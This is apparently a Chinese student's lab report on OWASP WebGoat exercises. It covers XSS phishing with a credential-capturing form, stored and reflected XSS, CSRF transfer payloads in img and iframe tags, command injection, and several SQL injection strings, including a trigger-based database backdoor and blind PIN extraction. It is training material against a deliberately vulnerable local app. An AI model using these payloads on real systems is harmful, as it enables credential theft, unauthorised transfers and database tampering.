zoukankan      html  css  js  c++  java
  • 20155308《网络对抗》Exp9 Web安全基础实践

    20155308《网络对抗》Exp9 Web安全基础实践

    本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

    基础问题回答

    1. SQL注入攻击原理,如何防御?
    • 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的SQL命令。
    • 防御:在网页设计时对文本框的输入进行限制,比如说长度限制、不能出现#号等

    2.XSS攻击的原理,如何防御?

    • 原理:攻击者在可输入域插入一些html或脚本语言使服务器执行那些代码
    • 防御:关键字防御,比如过滤script这种敏感词汇,减少被攻击的风险

    3.CSRF攻击原理,如何防御?

    • 原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
    • 防御:
      1)cookie的保存时间不宜过长;
      2)服务器要求用户输入相对应的验证码;
      3)服务器尽量在表单中使用post方法

    实验过程

    WebGoat

    • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。

    1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行java -jar webgoat-container-7.0.1-war-exec.jar
    运行WebGoat:

    2.当页面成功停在下图位置时,最小化终端窗口:

    3.打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。

    4.进入WebGoat之后,可以看到有很多题目来让我们进行练习。

    XSS攻击

    • 简单说,就是在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。

    1、Phishing with XSS 跨站脚本钓鱼攻击

    • 跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

    先编写一个包含用户名、密码的前端代码:

    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>
     
    </div></div>
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>
    

    然后在webgoat找到xss攻击打开Phishing with XSS(第一个选项),将这段代码输入到输入框中,点击search出现如下登录框:

    1.在登录框中输入用户名、密码:

    2.点击登录后跳出弹框,其中包含用户输入的用户名、密码。

    3.攻击成功!

    2、Stored XSS Attacks 存储型XSS攻击

    存储型XSS的攻击基本流程:

    a. 比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。

    b. 网站后台程序将留言内容存储在数据中

    c. 然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致了:黑客留言的脚本本身应该作为内容显示在留言板的,然后此时可能黑客的留言脚本被浏览器解释执行了。

    那么黑客的脚本可以用来做哪些事儿:

    通过javascript获取用户的cookie,根据这个cookie窃取用户信息

    重定向网站到一个钓鱼网站

    重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器

    1.打开Stored XSS Attacks(XSS第二个选项),在Message框中输入<script>alert("I am 20155308 haowenfei");</script>

    2.提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功:


    3、Reflected XSS Attacks 反射型XSS攻击

    1.当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:


    2.打开Reflected XSS Attacks(XSS的第三个选项),在code框中输入<script>alert("I am 20155308 haowenfei");</script>

    3.点击Purchase出现对话框,显示I am 20155308 haowenfei。攻击成功!

    CSRF攻击

    1.我们的目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

    2.打开CSRF

    2.我们在message框中输入这样一串代码:
    <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>,注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的下面有个Parameters进行查看:


    3.提交后生成一个链接20155308:

    4.点击学号名即可查看用户操作的信息,攻击成功,转帐了20155308元。

    2、CSRF Prompt By-Pass

    1.我们依旧和上一个一样要构造CSRF攻击,不过这次其包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=........,transferFunds=CONFIRM)

    2.查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

    <iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
    <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
    

    提交后生成一个链接20155308:

    3.点击学号名即可查看用户操作的信息,攻击成功

    SQL注入攻击

    • SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

    1、Command Injection

    1.这个题是要求能够在目标主机上执行系统命令,我们可以通过火狐浏览器下的一个扩展Firebug(就是右上角的小虫的标志)对源代码进行修改,例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

    2.之后在下拉菜单中能看到我们修改后的值:

    3.选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

    2、Numeric SQL Injection

    1.我们要通过注入SQL字符串的方式查看所有的天气数据,我们上次实验做过类似的,只要加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1

    2.选中Columbia,点Go,可以看到所有天气数据:

    3、Log Spoofing

    • 在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:


    4、LAB:SQL Injection(Stage 1:String SQL Injection)

    1.使用一个新的工具firebug(浏览器右上方有一个小昆虫一样的标志),可以显示当前网页的源码并直接在其中修改。

    2.使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。

    3.在查看源码的时候怎么找到限制字符长度的语句在哪里呢?在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password输入框的位置,源码部分就会自动跳转到关于密码的部分,缩小范围后就好找多了。

    4.对长度maxlength值改成了100(点击Edit,进行编辑),然后在密码栏中再次输入' or 1=1 --,点击登录就成功了(记得在登陆的时候不要关闭源代码程序,因为源代码程序不能保存,一关掉,相当于回到之前的代码了)


    5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

    1.用上一题的方法成功登录成功之后,点击ViewProfile可以看到Larry的信息



    2.查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --


    3.再去查询Larry信息,发现我们看到的是老板的信息


    可以看到老板应该就是Neville了,电话地址电邮工资卡等等信息一览无余。

    6、Database Backdoors

    1.先输入示例101进行尝试,得到了该用户的信息。

    2.观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=5308成功将该用户的工资变成5308,攻击成功:

    3.如果输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155308@hackme.com' WHERE userid = NEW.userid就可以了,表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。

    7、Blind Numeric SQL Injection

    1.尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的!

    2.构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );,根据返回的语句是否合法判断pin值的范围。这里使用二分法,测试值是多少

    3.最后确定值是2364,输入2364后破解成功:

    实验总结与体会

    本次实验我是在老师kali机的环境下进行的,没有过多关注环境的搭建,因为以前都进行过,所以更多的关注点都在Webgoat上的实践。通过对Webgoat的使用,主要学习了SQL注入攻击、XSS攻击和CSRF攻击。对于这三个方面的攻击,分为很多小模块的学习。在整个学习过程中,发现我们这次的实验攻击很多部分都是关于构造语句、更改语句进行的攻击,我觉得这个部分虽然现在实现很简单,但是通过学习的不断深入,如何能够将攻击高层次化,更加完整,是我们学习的目标。

  • 相关阅读:
    cf D. Vessels
    cf C. Hamburgers
    zoj 3758 Singles' Day
    zoj 3777 Problem Arrangement
    zoj 3778 Talented Chef
    hdu 5087 Revenge of LIS II
    zoj 3785 What day is that day?
    zoj 3787 Access System
    判断给定图是否存在合法拓扑排序
    树-堆结构练习——合并果子之哈夫曼树
  • 原文地址:https://www.cnblogs.com/JIUSHA/p/9076433.html
Copyright © 2011-2022 走看看